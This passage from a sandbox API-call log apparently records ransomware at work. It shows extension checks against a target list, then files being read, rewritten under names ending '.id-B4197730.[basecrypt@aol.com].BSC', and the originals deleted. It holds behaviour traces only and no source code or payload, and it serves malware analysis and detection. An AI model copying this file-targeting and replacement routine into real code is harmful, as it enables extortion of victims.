(lpString=".bz2") returned 4 [0103.903] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.903] lstrlenW (lpString=".7z") returned 3 [0103.904] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.904] lstrlenW (lpString=".dbf") returned 4 [0103.904] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.904] lstrlenW (lpString=".1cd") returned 4 [0103.904] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.904] lstrlenW (lpString=".jpg") returned 4 [0103.904] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.904] lstrlenW (lpString=".doc") returned 4 [0103.904] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.904] lstrlenW (lpString=".docx") returned 5 [0103.904] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.904] lstrlenW (lpString=".pdf") returned 4 [0103.904] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.904] lstrlenW (lpString=".xls") returned 4 [0103.905] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.905] lstrlenW (lpString=".xlsx") returned 5 [0103.905] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.905] lstrlenW (lpString=".ppt") returned 4 [0103.905] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.905] lstrlenW (lpString=".zip") returned 4 [0103.905] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.905] lstrlenW (lpString=".rar") returned 4 [0103.905] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.905] lstrlenW (lpString=".bz2") returned 4 [0103.905] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.905] lstrlenW (lpString=".7z") returned 3 [0103.905] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.905] lstrlenW (lpString=".dbf") returned 4 [0103.905] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.905] lstrlenW (lpString=".1cd") returned 4 [0103.905] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.905] lstrlenW (lpString=".jpg") returned 4 [0103.905] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.906] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.906] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0103.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.923] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=93314) returned 1 [0103.923] CloseHandle (hObject=0x2ec) returned 1 [0103.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0103.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.923] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.923] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.938] GetLastError () returned 0x0 [0103.938] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x16c82, lpOverlapped=0x0) returned 1 [0103.985] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x16c90, lpOverlapped=0x0) returned 1 [0103.989] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.989] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.989] SetEndOfFile (hFile=0x34c) returned 1 [0103.989] CloseHandle (hObject=0x34c) returned 1 [0103.992] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.992] SetEndOfFile (hFile=0x2ec) returned 1 [0103.993] CloseHandle (hObject=0x2ec) returned 1 [0103.993] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.994] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0103.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.994] lstrlenW (lpString=".doc") returned 4 [0103.994] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.994] lstrlenW (lpString=".docx") returned 5 [0103.994] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.994] lstrlenW (lpString=".pdf") returned 4 [0103.994] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.994] lstrlenW (lpString=".xls") returned 4 [0103.994] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString=".xlsx") returned 5 [0103.995] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.995] lstrlenW (lpString=".ppt") returned 4 [0103.995] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.995] lstrlenW (lpString=".zip") returned 4 [0103.995] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.995] lstrlenW (lpString=".rar") returned 4 [0103.995] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString=".bz2") returned 4 [0103.995] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString=".7z") returned 3 [0103.995] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.995] lstrlenW (lpString=".dbf") returned 4 [0103.995] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.995] lstrlenW (lpString=".1cd") returned 4 [0103.995] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.995] lstrlenW (lpString=".jpg") returned 4 [0103.995] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.995] lstrlenW (lpString=".doc") returned 4 [0103.996] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString=".docx") returned 5 [0103.996] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.996] lstrlenW (lpString=".pdf") returned 4 [0103.996] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString=".xls") returned 4 [0103.996] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString=".xlsx") returned 5 [0103.996] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.996] lstrlenW (lpString=".ppt") returned 4 [0103.996] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.996] lstrlenW (lpString=".zip") returned 4 [0103.996] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.996] lstrlenW (lpString=".rar") returned 4 [0103.996] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString=".bz2") returned 4 [0103.996] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString=".7z") returned 3 [0103.996] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.996] lstrlenW (lpString=".dbf") returned 4 [0103.996] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.996] lstrlenW (lpString=".1cd") returned 4 [0103.996] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.997] lstrlenW (lpString=".jpg") returned 4 [0103.997] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.997] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.997] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0103.997] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0104.002] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=272046) returned 1 [0104.002] CloseHandle (hObject=0x2ec) returned 1 [0104.002] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0104.002] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0104.003] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.003] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0104.003] GetLastError () returned 0x0 [0104.003] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0104.949] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0104.954] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.954] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0104.954] SetEndOfFile (hFile=0x34c) returned 1 [0104.954] CloseHandle (hObject=0x34c) returned 1 [0104.961] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.961] SetEndOfFile (hFile=0x2ec) returned 1 [0104.964] CloseHandle (hObject=0x2ec) returned 1 [0104.964] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.965] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0105.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.088] lstrlenW (lpString=".doc") returned 4 [0105.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.088] lstrlenW (lpString=".docx") returned 5 [0105.088] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0105.088] lstrlenW (lpString=".pdf") returned 4 [0105.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.088] lstrlenW (lpString=".xls") returned 4 [0105.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.088] lstrlenW (lpString=".xlsx") returned 5 [0105.088] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0105.088] lstrlenW (lpString=".ppt") returned 4 [0105.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.088] lstrlenW (lpString=".zip") returned 4 [0105.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.088] lstrlenW (lpString=".rar") returned 4 [0105.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.088] lstrlenW (lpString=".bz2") returned 4 [0105.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.088] lstrlenW (lpString=".7z") returned 3 [0105.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.089] lstrlenW (lpString=".dbf") returned 4 [0105.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.089] lstrlenW (lpString=".1cd") returned 4 [0105.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.089] lstrlenW (lpString=".jpg") returned 4 [0105.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.089] lstrlenW (lpString=".doc") returned 4 [0105.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString=".docx") returned 5 [0105.089] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0105.089] lstrlenW (lpString=".pdf") returned 4 [0105.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString=".xls") returned 4 [0105.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString=".xlsx") returned 5 [0105.089] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0105.089] lstrlenW (lpString=".ppt") returned 4 [0105.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.089] lstrlenW (lpString=".zip") returned 4 [0105.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.089] lstrlenW (lpString=".rar") returned 4 [0105.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.090] lstrlenW (lpString=".bz2") returned 4 [0105.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.090] lstrlenW (lpString=".7z") returned 3 [0105.090] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.090] lstrlenW (lpString=".dbf") returned 4 [0105.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.090] lstrlenW (lpString=".1cd") returned 4 [0105.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0105.090] lstrlenW (lpString=".jpg") returned 4 [0105.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.090] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0105.090] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0105.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0105.104] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=4450) returned 1 [0105.104] CloseHandle (hObject=0x33c) returned 1 [0105.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0105.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0105.174] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.174] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0105.257] GetLastError () returned 0x0 [0105.257] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x1162, lpOverlapped=0x0) returned 1 [0105.984] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x1170, lpOverlapped=0x0) returned 1 [0105.986] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.986] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x108, lpOverlapped=0x0) returned 1 [0105.986] SetEndOfFile (hFile=0x370) returned 1 [0105.986] CloseHandle (hObject=0x370) returned 1 [0105.988] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.988] SetEndOfFile (hFile=0x33c) returned 1 [0105.989] CloseHandle (hObject=0x33c) returned 1 [0105.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0105.989] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0105.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.990] lstrlenW (lpString=".doc") returned 4 [0105.990] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString=".docx") returned 5 [0105.990] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.990] lstrlenW (lpString=".pdf") returned 4 [0105.990] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString=".xls") returned 4 [0105.990] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString=".xlsx") returned 5 [0105.990] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.990] lstrlenW (lpString=".ppt") returned 4 [0105.990] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.990] lstrlenW (lpString=".zip") returned 4 [0105.990] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.990] lstrlenW (lpString=".rar") returned 4 [0105.990] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString=".bz2") returned 4 [0105.990] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString=".7z") returned 3 [0105.990] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.990] lstrlenW (lpString=".dbf") returned 4 [0105.990] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.991] lstrlenW (lpString=".1cd") returned 4 [0105.991] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.991] lstrlenW (lpString=".jpg") returned 4 [0105.991] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.991] lstrlenW (lpString=".doc") returned 4 [0105.991] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString=".docx") returned 5 [0105.991] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.991] lstrlenW (lpString=".pdf") returned 4 [0105.991] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString=".xls") returned 4 [0105.991] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString=".xlsx") returned 5 [0105.991] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.991] lstrlenW (lpString=".ppt") returned 4 [0105.991] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.991] lstrlenW (lpString=".zip") returned 4 [0105.991] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.991] lstrlenW (lpString=".rar") returned 4 [0105.991] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned 